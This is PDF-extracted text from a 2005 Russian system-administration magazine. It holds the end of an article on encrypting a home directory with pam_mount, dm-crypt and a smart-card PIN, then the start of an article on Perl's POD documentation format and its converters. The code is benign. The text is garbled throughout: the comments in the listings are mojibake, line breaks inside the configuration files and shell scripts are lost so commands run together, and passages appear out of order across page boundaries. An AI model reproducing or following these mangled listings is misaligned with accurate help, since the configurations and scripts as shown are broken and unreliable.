Пробуем зарегистрироваться как chiko. Если вы верноследовали моему описанию, то должны увидеть что-то на-подобие этого (при выставленном в /etc/security/pam_mount.conf значении debug 1):

Вот и долгожданное приглашение! Проверьте наличиев новой домашней директории своих перенесенных из ре-зервной копии данных и вывод команды mount.

Как успел заметить опытный читатель, пользуясь опи-санным способом, можно шифровать не только пользова-тельские домашние каталоги.

Со страниц журнала желаю вам удачи, и пусть ваши кон-ституционные права остаются незыблемыми.

Ссылки:1. http://www.flyn.org/projects/pam_mount.2. http://www.saout.de/misc/dm-crypt.3. http://opensc.org.

Приступим к конфигурированию. Ниже привожу листин-ги /etc/security/pam_mount.conf и /sbin/mount.crypt.

Весь листинг /sbin/mount.crypt слишком велик, чтобы при-вести его на страницах печатного издания, поэтому добав-ленные в него блоки буду выделять красным:

Пример скрипта /sbin/mount.crypt можно скачать на сайтежурнала http://samag.ru в разделе «Исходный код». В боль-шинстве случаев придется изменить только /dev/sda1 и путьк директории хранения временного файла на необходимыевам значения.

Есть риск, что во время выполнения другими пользова-телями ps в ее вывод может попасть наш PIN, поэтому ре-

#cat /etc/security/pam_mount.confdebug 0# Ïðè âîçíèêíîâåíèè îøèáîê áóäåò ïîëåçíî èìåòü âûâîä: debug 1options_allow nosuid,nodev,loop,encryption# Çäåñü è ñòðîêîé íèæå ïî æåëàíèþoptions_require nosuid,nodevlsof /usr/sbin/lsof %(MNTPT)fsck /bin/true# Äëÿ FLASH-íàêîïèòåëÿ ñ ext2fs íå ñ÷åë íóæíûì ïðîâåðÿòü fsck.ext2losetup /bin/true [ïñ]unlosetup /bin/true [ïñ]cifsmount /bin/mount -t cifs //%(SERVER)/%(VOLUME) %(MNTPT) ↵↵↵↵↵

-o "username=%(USER)%(before=\",\" OPTIONS)"smbmount /bin/mount -t smbfs //%(SERVER)/%(VOLUME) %(MNTPT) ↵↵↵↵↵

-o "username=%(USER)%(before=\",\" OPTIONS)"ncpmount /bin/mount -t ncpfs %(SERVER)/%(USER) %(MNTPT) ↵↵↵↵↵

-o "pass-fd=0,volume=%(VOLUME)%(before=\",\" OPTIONS)"umount /bin/umount %(MNTPT)lclmount /sbin/mount.crypt %(VOLUME) %(MNTPT) -o %(OPTIONS)# Íå çàáóäüòå çàìåíèòü /sbin/mount.crypt ñêðèïòîì èç Debiancryptmount /sbin/mount.crypt %(VOLUME) %(MNTPT) ↵↵↵↵↵

-o %(OPTIONS)nfsmount /bin/mount %(SERVER):%(VOLUME) ↵↵↵↵↵

"%(MNTPT)%(before=\"-o \" OPTIONS)"pmvarrun /usr/sbin/pmvarrun -u %(USER) -d -o %(OPERATION)# Ñòðîêà, îïèñûâàþùàÿ èìÿ ïîëüçîâàòåëÿ, ðàçäåë, òî÷êó# è îïöèè ìîíòèðîâàíèÿvolume chiko crypt - /dev/sda1 /home/chiko loop,cipher=aes - -

#  ñàìîì íà÷àëå äîáàâüòå ñòðîêó read PINLOSETUP=/sbin/losetupCRYPTSETUP=/bin/cryptsetupMOUNT=/bin/mountOPTIONS=""read PIN # Òàêèì îáðàçîì ïåðåäàåì PIN â pkcs15-cryptUSAGE="dev dir [-o options]# Íàéäèòå è çàêîììåíòèðóéòå, êàê â ïðèìåðå,# ÷åòûðå ñëåäóþùèå ñòðîêè:#HASHOPT="ripemd160"#if [ -n "$HASH" ]; then# HASHOPT="$HASH"#fi# Âìåñòî íèõ ïîäñòàâüòå ñâîè:HASHOPT=""if [ ! -z "$HASH" ]; then HASHOPT="-h $HASH"fiKEYSIZEOPT="256"if [ -n "$KEYSIZE" ]; then KEYSIZEOPT="$KEYSIZE"fi# Ñðàçó æå ïîñëå KEYSIZEOPT-ñåêöèè äîáàâëÿåì# òðè íîâûõ ñòðîêè:dd if=/dev/sda1 bs=1 count=128 of=/crypt/key/usr/local/bin/pkcs15-crypt --raw -p $PIN --pkcs1 ↵↵↵↵↵

--decipher -k 45 -i /crypt/key | $CRYPTSETUP ↵↵↵↵↵--cipher=aes --hash=plain --key-size=256 ↵↵↵↵↵--offset=2048 create $DMDEVICE $DEVICE

rm /crypt/key# Ñëåäóþùóþ ñòðîêó èç îðèãèíàëà çàêîììåíòèðóåì,# òàê êàê âûøå èñïîëüçóåì ñîáñòâåííûé àíàëîã:#$CRYPTSETUP -c $CIPHEROPT -h $HASHOPT ↵↵↵↵↵

-s $KEYSIZEOPT create $DMDEVICE $DEVICE

# cat /etc/pam.d/login#%PAM-1.0auth optional pam_mount.soauth required ↵↵↵↵↵

/usr/local/lib/security/pam_opensc.so use_first_passsession optional pam_mount.so use_first_passaccount required ↵↵↵↵↵

/lib/security/pam_stack.so service=system-authsession required ↵↵↵↵↵

/lib/security/pam_stack.so service=system-auth

pam_mount: reading options_allow...pam_mount: reading options_require...pam_mount: back from global readconfigpam_mount: per-user configurations not allowed ↵↵↵↵↵

by pam_mount.confpam_mount: real and effective user ID are 0 and 0.pam_mount: checking sanity of volume record (/dev/sda1)pam_mount: about to perform mount operationspam_mount: information for mount:pam_mount: --------pam_mount: (defined by globalconf)pam_mount: user: chikopam_mount: server:pam_mount: volume: /dev/sda1pam_mount: mountpoint: /home/chikopam_mount: options: loop,cipher=aespam_mount: fs_key_cipher:pam_mount: fs_key_path:pam_mount: use_fstab:pam_mount: --------pam_mount: checking to see if /dev/mapper/_dev_sda1 ↵↵↵↵↵

is already mounted at /home/chikopam_mount: checking for encrypted filesystem key ↵↵↵↵↵

configurationpam_mount: about to start building mount commandpam_mount: command: /crypt/mount.crypt ↵↵↵↵↵

/dev/sda1 /home/chiko -o loop,cipher=aes /home/chikopam_mount: mount errors (should be empty):pam_mount: 128+0 records inpam_mount: 128+0 records outpam_mount: waiting for mountpam_mount: clean system authtok (0)pam_mount: command: /usr/sbin/pmvarrun -u chiko -d -o 1pam_mount: pmvarrun says login count is 1pam_mount: done opening session

# mount | grep mapper/dev/mapper/_dev_sda1 on /home/chiko type ext2 (rw)

Page 76: 028 Системный Администратор 03 2005

74

программирование

Разрабатываете ли вы утилиту или обширный пакет про-грамм, строите ли аппаратный комплекс или создаёте про-граммно-аппаратную среду, вы неминуемо столкнётесь снеобходимостью составления качественной документации.Зачастую требуется или желательно, чтобы документациябыла доступна в нескольких форматах: для печати и дляознакомления on-line. Система POD предлагает простойязык разметки документов и средства конвертирования, по-зволяющие получить документы в наиболее «ходовых» фор-матах: не размеченный текст, man-страница, HTML-стра-ница, PostScript и PDF.

Что такое POD?Постараюсь угадать первые вопросы читателей и короткоответить на них, но прежде не могу не процитировать perldoc

perlpod: «The Pod format is not necessarily sufficient for writinga book. Pod is just meant to be an idiot-proof common sourcefor nroff, HTML, TeX, and other markup languages, as used foronline documentation».

Аббревиатура POD означает Plain Old Documentation.POD разрабатывалась для документирования программ

и модулей, разработанных на языке Perl. Но, во-первых, этасистема достаточно универсальна и может использовать-ся для документирования не только Perl-программ. А во-вторых, она разработана так, что не требует для написа-ния документации знания языка Perl. Это делает её уни-версальным, мощным и простым в освоении средством со-здания электронных документов.

Слово «old» в аббревиатуре не должно вводить читателяв заблуждение. Система не является устаревшей. Напротив,

СИСТЕМА СОЗДАНИЯ ДОКУМЕНТАЦИИ PODЧАСТЬ 1

АЛЕКСЕЙ МИЧУРИН

Page 77: 028 Системный Администратор 03 2005

75№3, март 2005

программирование

она постоянно совершенствуется. В последней версии Perl(5.8) впервые появилась подробная спецификация POD.

Я не могу претендовать на исчерпывающее описание.Если оно вам нужно, обратитесь к perldoc perlpodspec. Тамподробно обсуждаются все детали формата.

Например, что будет, если в список вставить заголовокили повторно выделить жирным текст, уже являющийсятаковым. Для решения большинства задач документирова-ния этих тонкостей знать не надо. Они нужны, скорее, раз-работчикам новых конвертеров POD-документов в другиеформаты. Для пользователя существует описание форма-та POD perldoc perlpod. В этой статье я практически не будувыходить за его рамки, но отдельно рассмотрю вопросы ки-риллизации POD, не затронутые ни в одном из указанныхруководств.

Принцип работы PODЧитатели, знакомые с HTML или системой вёрстки TeX/LaTeX, уже встречались с подходом, практикуемым и в POD.Это не WYSIWYG-система. Она предполагает, что вы раз-рабатываете документ в определённом формате, а потомконвертируете его в любой другой, который необходим вамдля печати или просмотра.

Это позволяет поддерживать одну «мастер-версию» вформате POD, из которой по мере необходимости вы смо-жете получать документы в различных форматах и по-раз-ному оформленные, например, отличающиеся базовым раз-мером шрифта или свёрстанные в одну или две колонки.

Таким образом, для освоения POD нам придётся рас-смотреть сам формат и средства конвертирования.

Статья и примерыВ статье я буду рассказывать о возможностях POD от про-стого к сложному. При накоплении критической массы зна-ний мы будем отвлекаться и рассматривать вопросы кон-вертирования POD-документов в соответствующий формат.Естественно, при таком изложении и форматы будут идтиот простых к сложным.

Для того чтобы не быть голословным, я написал крошеч-ную программку на Perl и снабдил её инструкцией. Подавля-ющее большинство примеров в этой статье взяты из неё.Вы можете получить полную версию программы и докумен-тации на сайте журнала в разделе «Исходный код». Далеея буду называть этот файл для краткости просто архивом.В него входят документированная программа и все сред-ства преобразования документации в форматы – от про-стых текстовых до PostScript, PDF и HTML. Конвертирова-ние в PostScript и PDF будет описано в следующем номере.

Перейдём к рассмотрению возможностей POD. Начнёмс базовых принципов формата POD.

Абзацы в PODФормат POD предполагает, что весь документ разбит наабзацы, которые отделены друг от друга одной (или более)пустой строкой. Очень желательно, чтобы это была дей-ствительно пустая строка, не содержащая даже пробелов.Старые версии обработчиков POD могут некорректно реа-гировать на подобные неточности соблюдения формата.

Абзацы бывают всего трёх типов:

! Форматированные абзацы. Обработчики, или програм-мы просмотра, сами решают, как разбить текст на стро-ки в готовом документе, обеспечив необходимое вырав-нивание. В этих абзацах допускаются конструкции, из-меняющие шрифт, создающие перекрёстные гиперссыл-ки, расширяющие набор доступных символов. Об этихвозможностях я буду говорить ниже.

! Неформатированные абзацы чаще всего используютсядля представления листингов программ. Здесь в резуль-тирующем документе сохраняется то же разбиение настроки, что и в POD-файле. Всегда используется моно-ширинный шрифт. Никакие управляющие последова-тельности символов не обрабатываются, а отобража-ются вместе с остальным текстом «как есть».

! Управляющие параграфы содержат команды, управля-ющие структурой документа: заголовками, списками ипрочим.

Тип параграфа задаётся очень просто:! если первый символ параграфа не пробел и не знак «=»,

то это форматированный параграф;! если первый символ пробел – неформатированный;! если знак «=» – управляющий.

Вот простой пример форматированного и неформати-рованного параграфов:

Обратите внимание, второй параграф («gs...») начина-ется с пробела, это неформатированный параграф. Послеобработки, в формате PDF этот фрагмент будет выглядетьпримерно так:

Конечно, внешний вид будет слегка варьироваться в за-висимости от того, какой вы выберете размер шрифта присоздании PDF, каков будет размер бумаги и поля, во сколь-ко колонок будет свёрстан документ, будет ли использо-ваться система автоматической расстановки переносов.

Основные командыУправляющих команд совсем немного, и в этом разделе мырассмотрим почти все из них.

Êîíâåðòèðîâàòü EPS-ôàéë â ëþáîé äðóãîé ôîðìàò ìîæíîïðîãðàììîé C<gs>, èìåþùåé íåèñ÷èñëèìîå ìíîæåñòâî îïöèéè âîçìîæíîñòåé. Ïðèìåð: gs -sDEVICE=png16 \

-sOutputFile=drag.png \-dBATCH \-dNOPAUSE \-r72x72 \-sPAPERSIZE=a5 \drag.eps

Page 78: 028 Системный Администратор 03 2005

76

программирование

Оформление команд, команды началаи конца документаСперва скажу о командах =pod и =cut. Они задают началои конец POD-документа соответственно.

Использование =сut не обязательно. Эта команда по-лезна в тех случаях, когда файл содержит не только POD-документ. При документировании Perl-программ и моду-лей общепринятой практикой является включение в одинфайл и Perl-кода программы или модуля, и POD-докумен-та к нему.

Обратите внимание! Чтобы эти команды получили дол-жную интерпретацию, их следует оформить как отдельныекомандные параграфы. То есть они должны иметь по од-ной (или более) пустых строк до и после; а знак «=» долженбыть первым в строке.

В следующем примере я создал простой POD-документ,содержащий три слова:

Если вы оформите его так:

то «=cut» будет считаться просто четвёртым словом в един-ственном форматированном параграфе документа.

Об этой специфике надо помнить и при использованиидругих команд. Я для краткости буду говорить о «коман-дах», но подразумевать буду управляющие параграфы, на-чинающиеся с этих команд.

ЗаголовкиКоманды =head1, =head2, =head3, =head4 позволяют зада-вать заголовки разных уровней. Весь текст абзаца послеэтих команд интерпретируется как текст заголовка.

Вот фрагмент POD-документа, содержащего различныезаголовки:

А вот PDF-результат:

Как видите, номера расставляются автоматически. Ско-ро мы увидим, что автоматически могут создаваться и ог-лавления.

СпискиДля форматирования списков в POD предусмотрено три ко-манды:! Команда =over отмечает начало списка. Если после неё

указано число, то оно интерпретируется как величинаотступа, указанная в единицах em (приблизительно ши-рина буквы «M»). Эта величина носит рекомендатель-ный характер, она может игнорироваться, если вы кон-вертируете POD в формат, не позволяющий управлятьотступом.

! Команда =back завершает список.! Каждый элемент списка задаётся командой =item. Её

можно использовать только в окружении =over/=back.Текст абзаца, следующий за =item, является маркеромэлемента списка. Это может быть звёздочка (ненуме-рованный список), число (нумерованный список) илинекий термин, ключ командной строки, оператор, пе-ременная или краткая фраза, выполняющая роль под-заголовка. В традиционной для UNIX man-документа-ции чаще используется последний вид списков, и PODболее ориентирован на них.

Спецификация POD настаивает на том, чтобы разра-ботчики не использовали смешанных списков. То есть водном списке не должны сочетаться и нумерованные и не-нумерованные элементы (вряд ли кому-то понадобится та-кой список-химера).

POD-процессоры оставляют за собой право заменятьмаркеры-звёздочки на более подходящие символы, еслиэто возможно (например, в формате HTML). В нумерован-ных списках рекомендуется начинать нумерацию с едини-цы.

Сам элемент списка, отмеченный маркером, содержит-ся в следующем абзаце или абзацах. Список может вооб-ще не содержать элементов, а только маркеры.

Вот пример списка (не обращайте пока внимания на уп-равляющие последовательности C<...> и E<...>, мы к нимещё вернёмся):

В формате PDF этот фрагмент кода будет давать при-мерно такой результат.

Âñ¸ ïîñòðîåíèå âåä¸ò ïîäïðîãðàììà C<next_step>.Îíà ïîëó÷àåò ñëåäóþùèå ïàðàìåòðû:=over=item $x, $yÏåðâûé è âòîðîé E<mdash> êîîðäèíàòûíà÷àëà âåêòîðà.=item $dx, $dyÒðåòèé è ÷åòâ¸ðòûé E<mdash> êîîðäèíàòûñàìîãî âåêòîðà.=item $dÒåêóùàÿ ãëóáèíà ðåêóðñèè.=back

=podÏðèâåò îò POD.=cut

=podÏðèâåò îò POD.=cut

=head1 Àëãîðèòìû ïîñòðîåíèÿÏðèâåäó çäåñü äâà àëãîðèòìà, îòëè÷àþùèõñÿ ïðèíöèïèàëüíî.=head2 Èòåðàöèîííûé àëãîðèòì ïîñòðîåíèÿ äðàêîíàÍàñòîÿùàÿ ïðîãðàììà èñïîëüçóåò èìåííî ýòîò àëãîðèòì.

Page 79: 028 Системный Администратор 03 2005

77№3, март 2005

программирование

Маркеры можно не указывать, тогда их не будет и в ре-зультирующем документе. Отступ же сохранится.

Списки можно использовать и не совсем по назначению.Например, вот так:

Это просто список из одного элемента.

Первый опыт конвертированияМы уже знаем достаточно, чтобы разметить простенькийPOD-документ. Готовый POD-файл можно сконвертироватьв текстовый документ. Делается это командой pod2text,например, так:

Вот как будет выглядеть результат конвертированияфрагмента документа, который я привёл в разделе про за-головки:

Команда pod2text допускает множество ключей. Пере-числять их все нет смысла, тем более что многие предос-тавляют весьма экзотические возможности (например, со-хранение в результирующем документе не только обрабо-танного POD-кода, но и всего остального содержимогофайла), которые могут быть полезны только Perl-програм-мистам. Я лишь упомяну о весьма полезной опции -w, по-зволяющей указать ширину документа. Опция -m позволя-ет задать поля.

Я ещё вернусь к вопросам конвертирования в тексто-вый формат, когда мы продвинемся чуть дальше в освое-нии POD, а исчерпывающую информацию по pod2text мож-но найти в руководстве perldoc pod2text.

ФорматированиеДавайте теперь рассмотрим, какую разметку допускаютформатированные абзацы. В форматированных абзацахможно задавать определённое оформление текста. Доступ-ны три классические возможности: жирный шрифт (bold),курсивный шрифт (italic) и моноширинный шрифт (code).

Управляющие последовательности просты и компактны:

Здесь, как вы уже догадались, слова «курсивом», «по-лужирным шрифтом» и «моноширинным шрифтом» будутоформлены соответствующим образом.

Если формат, в который вы конвертируете документ, недопускает подобных вариаций шрифта (например, рассмот-ренный выше обычный текст), то управляющие последова-тельности будут корректно проигнорированы.

POD предлагает и средства логической разметки. Кон-струкция F<...> предназначена для выделения имён фай-лов (обычно эквивалентна курсиву I<...>). КонструкцияX<...> игнорируется большинством конвертеров, но можетиспользоваться для создания предметных указателей. Кон-струкция S<...> указывает на то, что текст, заключённый вней, не должен разбиваться на строки. Например:

или

Инициалы всегда будут находиться на одной строке сфамилией, а единицы измерения не «оторвутся» от вели-чины.

Для полноты скажу о довольно редко используемой пос-ледовательности Z<>. Это «символ нулевой ширины». Онне отображается на печати и поэтому может показатьсяабсолютно бесполезным. Пример его использования я при-веду чуть ниже.

Как только вы начнёте создавать свои собственные POD-документы, вы столкнётесь с одной проблемой. Как выде-лить курсивом фразу «Alex <[email protected]>» или выделить жир-ным «I>10A»?

Очевидно, конструкция вида:

не даст требуемого результата. Жирным будет выделенатолько буква I, а необходимый нам знак «больше» вообщеисчезнет, будучи проинтерпретирован как часть управляю-щей последовательности.

В ранних версиях POD эта проблема решалась толькопутём использования escape-последовательностей (о нихразговор ниже). Этот метод работает и по сей день, но онне очень удобен. Начиная с версии POD, поставляемой сPerl 5.5.660, был предложен гораздо более изящный путьобойти эти затруднения. Теперь фрагмент текста, подле-жащий выделению, можно ограничивать любым количе-ством символов «<« и «>». «Открывающая» и «закрываю-щая» последовательности должны быть одинаковой дли-ны, а заключённый в них текст должен быть дополнен про-белами в начале и в конце. Эти пробелы также являютсячастью управляющей конструкции и не будут отображать-ся на печати.

S<5 êã.>

B<I>10A>

pod2text input.pod >output.txt

×àñòü òåêñòà ìîæíî âûäåëèòü I<êóðñèâîì>,íåêîòîðûå ôðàãìåíòû - B<ïîëóæèðíûì øðèôòîì>èëè C<ìîíîøèðèííûì øðèôòîì>.

S<Ñèòíèêîâà Î.Â.>

Page 80: 028 Системный Администратор 03 2005

78

программирование

То есть в нашем примере требуемого результата можнодобиться, написав в POD-файле:

Более «тяжеловесные» ограничители тоже могут при-годиться. Например:

Здесь вся фраза «cat part >> file2append» будет оформ-ляться моноширинным шрифтом.

Как раз здесь уместно вспомнить о последовательнос-ти Z<>. Её можно внедрить между двумя символами «боль-ше». Она никак не повлияет на внешний вид документа, норазобьёт последовательность «>>», которая в противномслучае могла бы быть интерпретирована как управляющая.Одним словом, код:

будет понят POD-конвертерами не так, как мы хотели, а код:

даст как раз требуемый результат.Честно говоря, я не сталкивался с ситуациями, когда

использование последовательности Z<> было бы действи-тельно оправданно (мой пример – не исключение), но, воз-можно, вы встретитесь с такими ситуациями, и вам она со-служит хорошую службу.

Такая же разметка допустима и в управляющих пара-графах, например, в тексте заголовков, но там её исполь-зование не вполне оправданно. Текст управляющих пара-графов и так форматируется соответствующим образом;причём в разных форматах по-разному. Имеет ли смыслвыделять жирным шрифтом слово в заголовке, которое ибез того будет отформатирован жирным? Кроме того, мо-гут возникнуть недоразумения: в заголовке форматирова-ния не видно, а в оглавлении – видно.

Специальные символы(escape-последовательности)Набор символов, доступных в форматированных абзацах,гораздо шире стандартного ASCII-набора. Символы можнозадавать с помощью последовательности E<...>. Её «аргу-ментом» может быть имя символа или код. Имена симво-лов совпадают с именами, используемыми в HTML, кодымогут быть и ASCII, и Unicode-кодами символов (никогдане пробовал использовать Unicode, но согласно докумен-тации – должно работать). Согласно документации, есликод предварён конструкцией «0x», он интерпретируется какшестнадцатеричный, если начинается с нуля – как восьме-ричный. Например, E<gt> обозначает знак «больше». Этотже символ можно получить, задав его код в любой системесчисления: E<62> или E<0x3e>, или E<076>. Однако мойопыт показывает, что надёжнее использовать десятерич-ные коды.

От использования Unicode я бы советовал воздержать-

ся. POD-процессоры, преобразующие документы в тексто-вые форматы, «не любят» Unicode. А в HTML-документахUnicode-символы (&#NNNN;) могут вызвать неожиданныесмены семейств шрифтов и прочие недоразумения, причи-ны которых бывает трудно установить.

Используя как раз такую запись, можно обойти пробле-мы, описанные выше:

Как видите, способ не самый удачный, но зато он рабо-тает и в старых версиях POD.

Здесь же уместно привести ещё один пример использо-вания Z<>. Если вам потребуется получить последователь-ность символов «E<60>» в форматированном параграфе,то в POD-файле её можно записать так:

Тогда она не будет обработана как escape-последова-тельность.

Конвертирование в «цветной» тексти manТеперь мы знаем о POD почти всё и можем посмотреть, какс этим работать. Для начала рассмотрим текстовые фор-маты.

Не секрет, что в текстовом формате доступен весьмаскромный набор символов (максимум 256), а шрифт варь-ировать нельзя. Поэтому ни pod2text, ни pod2man не обра-батывают «сложные» escape-последовательности. То естьпоследовательность E<mdash> так и попадёт в текст доку-мента необработанной потому, что символ «длинное тире»недопустим в текстовом документе. Вы получите предуп-реждающее сообщение «Unknown escape». Корректно об-рабатываются только «простые» символы. Например, пос-ледовательность E<gt> (или E<62>) будет, как и положено,преобразована в знак «больше».

В разделе «Списки» вы уже видели, как получить длин-ное тире с помощью последовательности E<mdash>. В моёмпримере встречается ещё один «неординарный» символ –градус. По аналогии с HTML он именуется deg. После кон-вертирования в такие форматы, как HTML эти символывыглядят абсолютно корректно и только украшают текст,но текстовые конвертеры не в состоянии их обработать:

Эта проблема немного надуманная. Вряд ли вам пона-добится и изящно оформленный HTML- или PostScript-до-кумент, и примитивный текстовый вариант документации.Честно говоря, я впервые заметил эту проблему только ког-да готовил материал настоящей статьи и мне для иллюст-раций понадобились все форматы. Но если вы с ней всё-таки столкнётесь, то можете применить несложный скрипт,который будет корректно «вычищать» escape-последова-тельности из документа перед его преобразованием в тек-стовый формат.

Я использовал вот такой скрипт:

<< cat part >Z<>> file2append >>

B<< I>10A >>

C<<< cat part >> file2append >>>

C<< cat part >> file2append >>

#!/usr/bin/sed -fs/E<mdash>/--/gs/E<deg>/ ãðàäóñîâ/g

B<IE<gt>10A>

EZ<><60>

Page 81: 028 Системный Администратор 03 2005

79№3, март 2005

программирование

Как видите, это sed-фильтр, который заменяет «E<mdash>»на «—», «E<deg>» на слово «градусов». Все текстовые до-кументы я получал, предварительно пропустив исходныйдокумент через этот фильтр:

Это, пожалуй, единственная неприятная особенностьконвертеров в текстовые форматы. Теперь о приятном: обих возможностях, пусть скромных, но всё-таки заслужива-ющих пары слов.

Начнём с самого простого pod2text.Опция -c позволяет ему разметить текст цветом при

помощи ANSI escape-последовательностей.Вот как будет выглядеть на экране терминала фрагмент

документа, полученного с помощью pod2text -c (мы, конеч-но, предварительно обработали POD-файл фильтром antie-scape):

Вы видите, что заголовки отформатированы жирнымшрифтом, а курсив – синим. Конкретные цвета зависят отнастроек терминала.

Рассмотренное форматирование примерно в той жемере сохраняется и на man-страницах, полученных из POD-источников.

Вот тот же фрагмент документа, после конвертирова-ния его утилитой pod2man (в просмотрщике от mc):

Конвертер pod2man ещё более гибок, чем pod2text. При-водить здесь все его опции я не буду, они во многом сход-ны с опциями pod2text и прекрасно описаны в perldocpod2man. Остановлюсь лишь на специфических, именно дляформата man.

Man-страница, как вы знаете, имеет колонтитулы. В вер-хнем колонтитуле, справа и слева, традиционно, указывает-ся имя команды. Оно задаётся ключом -n. В центре верхнегоколонтитула обычно указывается что-то вроде «FreeBSDGeneral Commands Manual». Эту строку вы можете задать,используя ключ -c. В нижнем колонтитуле, справа и слева,обычно указывается версия ОС. Эта информация можетбыть задана ключом -r. В центре нижнего колонтитула потрадиции указывается дата создания документа. Её можноизменить с помощью ключа -d.

Оба конвертера pod2man и pod2text поддерживают оп-цию -q, не сказать о которой нельзя. Вот как будет выгля-деть результат обработки POD-фрагмента, который я при-водил в качестве примера в разделе «списки»:

Здесь я применил pod2text без каких-либо параметров.Обратите внимание, что название подпрограммы взято

в кавычки, которых в POD-документе мы не писали. Этопроизошло потому, что мы указали, что «next_step» – кодпрограммы – C<...>. По умолчанию конвертер pod2text зак-лючает фрагменты кода в кавычки. Это поведение можноскорректировать. Опция -q none подавляет кавычки, опция-q с иным аргументом задаёт альтернативные символы ка-вычек. За подробностями обращайтесь к man-страницеpod2text или pod2man или perldoc-страницам, посвящённымэтим командам.

Конвертирование в HTMLВ полную силу возможности форматирования начинаютработать при конвертировании в более «серьёзные фор-маты», например, в HTML. Преобразование осуществляетпрограмма pod2html. Уже знакомый нам фрагмент в фор-мате HTML будет выглядеть так:

Как видите, всё форматирование отражено в полноймере, но один неприятный сюрприз нам всё-таки уготован.

Утилита pod2html создаёт оглавление в начале докумен-та. Это очень удобно (а если не удобно, то можно отменитьключом --noindex), но оно создаётся явно без учёта русскойспецифики. В качестве якорей и ссылок используется не-посредственно текст соответствующих заголовков. То естьв нашем случае якоря и ссылки будут содержать русскиебуквы. Не все браузеры лояльны к таким вольностям.

Чтобы обойти эту неприятность, я использую следую-щий несложный скрипт на Perl:

Как видите, это фильтр. Он считывает стандартный ввод,создаёт хэш якорей и производит надлежащие замены.Затем результат отправляется на стандартный вывод.

Я назвал этот скрипт antirus.pl (он входит в архив к этойстатье). Команда:

создаст «безопасный» HTML-файл.

#!/usr/bin/perlundef $/;$_=<>;%h=();$c=0;s/href="#(.+?)"/$c++; $h{$1}=$c; qq|href="#$c"|/ge;s/name="(.+?)"/"name=\"".($h{$1}?$h{$1}:$1)."\""/ge;print;

pod2html file.pod | antirus.pl > file.html

./antiescape file.pod | pod2text >file.text

Page 82: 028 Системный Администратор 03 2005

80

программирование

ГиперссылкиГиперссылки формируются только при конвертировании вHTML-формат. Во всех остальных форматах конструкции,описывающие ссылку, обрабатываются корректно: текстссылки попадает в документ, но ссылкой он, конечно, нестановится. Тем не менее гиперссылки заслуживают крат-кого описания.

В наиболее общем случае ссылка создаётся последо-вательностью L<текст|документ/раздел>. «Текст» будетвиден читателю документа и будет являться ссылкой. «До-кумент» – имя документа. «Раздел» – раздел в документе.При необходимости любое из полей можно взять в кавычки.Раздел можно не указывать. Если не указан документ, топредполагается, что это ссылка на один из разделов теку-щего документа. Ссылки используются довольно редко иимеют много ограничений. Как вы уже поняли, ни одно изполей не может содержать символы «|» и «/». Это ограниче-ние можно обойти, используя escape-последовательности.

Наличие документа, указанного между «|» и «/», прове-ряется. Если он не найден, то ссылка не создаётся. По умол-чанию поиск ведётся среди модулей Perl, но пути можнозадать и свои. В поле «раздел» следует указывать полноеназвание раздела. Это не только громоздко, но и приводитк созданию «русских» якорей и ссылок в русскоязычных до-кументах, что весьма нежелательно.

Ограничусь одним примером:

Если вам понадобится более подробная информация оссылках, обращайтесь к документации на POD, но я бы неназвал возможность создания ссылок доведённой до со-вершенства. А в русскоязычных документах работа со ссыл-ками ещё более затруднена, чем в англоязычных.

Предложенная мною программа, корректирующая ссыл-ки, должна быть значительно доработана, прежде чем онасможет работать с группами файлов и обрабатывать ссыл-ки не только внутри документа, но и между документами.

Я полагаю, что если вам действительно понадобитсясистема взаимосвязанных HTML-документов, то POD – нелучшее средство разработки. Поэтому я не предлагаю ни-каких средств корректировки гиперссылок.

Вставки, специфичныедля разных форматовМы не рассмотрели ещё три команды.

Начав параграф с команды =for, вы сообщаете обра-ботчику POD-документа, что этот параграф предназначендля определённого формата. Например:

Этот параграф предназначен только для формата HTML.Он будет исключён из документа всеми обработчиками,кроме pod2html. А этот единственный включит содержимоепараграфа в HTML-документ без изменений, и в HTML-до-кументе появится горизонтальная черта.

Если вам необходимо вставить большой формат-ориен-тированный фрагмент документа, то можно использоватьпару команд =begin/=end.

Наш пример можно переписать так:

Обратите внимание, что, как и любые другие команды,=begin и =end должны находиться в отдельных абзацах.

Таким образом, вы можете писать документ в форматеPOD, но использовать и средства разметки других форма-тов, когда это необходимо. Чаще всего эти возможностииспользуются для вставки графики.

К сожалению, нельзя вставлять специфичные для фор-мата фрагменты внутри абзаца (in-line). То есть вам врядли удастся успешно использовать теги <font>, <small>, <sup>и подобные.

Вставка рисунков в HTMLТеперь становится ясно, как включить изображение в HTML-документ. Для этого в POD-исходнике можно написать что-то подобное:

В результате в HTML-код будет помещена указаннаястрока, а значит, и картинка со всеми HTML-специфичны-ми атрибутами.

«Причёсываем» HTMLТеперь, когда мы знаем большинство тонкостей конверти-рования в HTML-формат, уместно будет сказать о возмож-ных «косметических» улучшениях. Как мы видели раньше,документ получается максимально простой: шрифт – поумолчанию, цвета – белый и чёрный. Такая строгость невсегда уместна.

Ситуацию можно исправить практически одним движе-нием, включив в состав HTML-документа CSS-таблицу (илиссылку на отдельный файл, содержащий CSS-таблицу).

Для этого можно использовать несколько путей.Можно вставить CSS-таблицу непосредственно в POD-

документ.

Такой подход не очень хорош по двум причинам. Во-пер-вых, он не удобен, если вы создаёте несколько документов(или часто готовите инструкции и руководства), потому чтовам придётся вставлять эту громоздкую конструкцию в каж-дый POD-файл. Во-вторых, CSS-таблица окажется не в за-головке документа (между тегами <head> и </head>), какэто принято.

Тем же методом можно вставить и HTML-элемент link,

=for html<center><img src="examp.png" hspace="3"></center>

=begin html<style type="text/css"><!--òåëî òàáëèöû// --></style>=end html

=pod=head1 Ãëàâà IL<ýòî ññûëêà íà Ãëàâó I|/"Ãëàâà I">

=for html <hr>

=begin html<hr>=end html

Page 83: 028 Системный Администратор 03 2005

81№3, март 2005

программирование

обеспечивающий связь с CSS-таблицей, находящейся вовнешнем файле.

В этом случае указанный HTML-тег тоже окажется в теледокумента (между <body> и </body>), что не очень жела-тельно.

Чтобы включить тег link в заголовок документа (где емуи положено быть), можно использовать ключ --css:

Но мне представляется более уместным включать вHTML-документы не элемент link, а полную CSS-таблицу.Это не намного «утяжелит» результат (что вообще не кри-тично для off-line-ориентированных документов), но сдела-ет его более «монолитным». Зачастую документация адре-суется не очень квалифицированному пользователю, кото-рый может достаточно своевольно с ней обращаться (на-пример пересылать отдельные файлы по e-mail коллегам вдругой офис). Мой опыт подсказывает, что лучше созда-вать максимально самодостаточные файлы.

Чтобы автоматизировать процесс вставки полноценнойCSS-таблицы в HTML-код, могу предложить элементарныйскрипт:

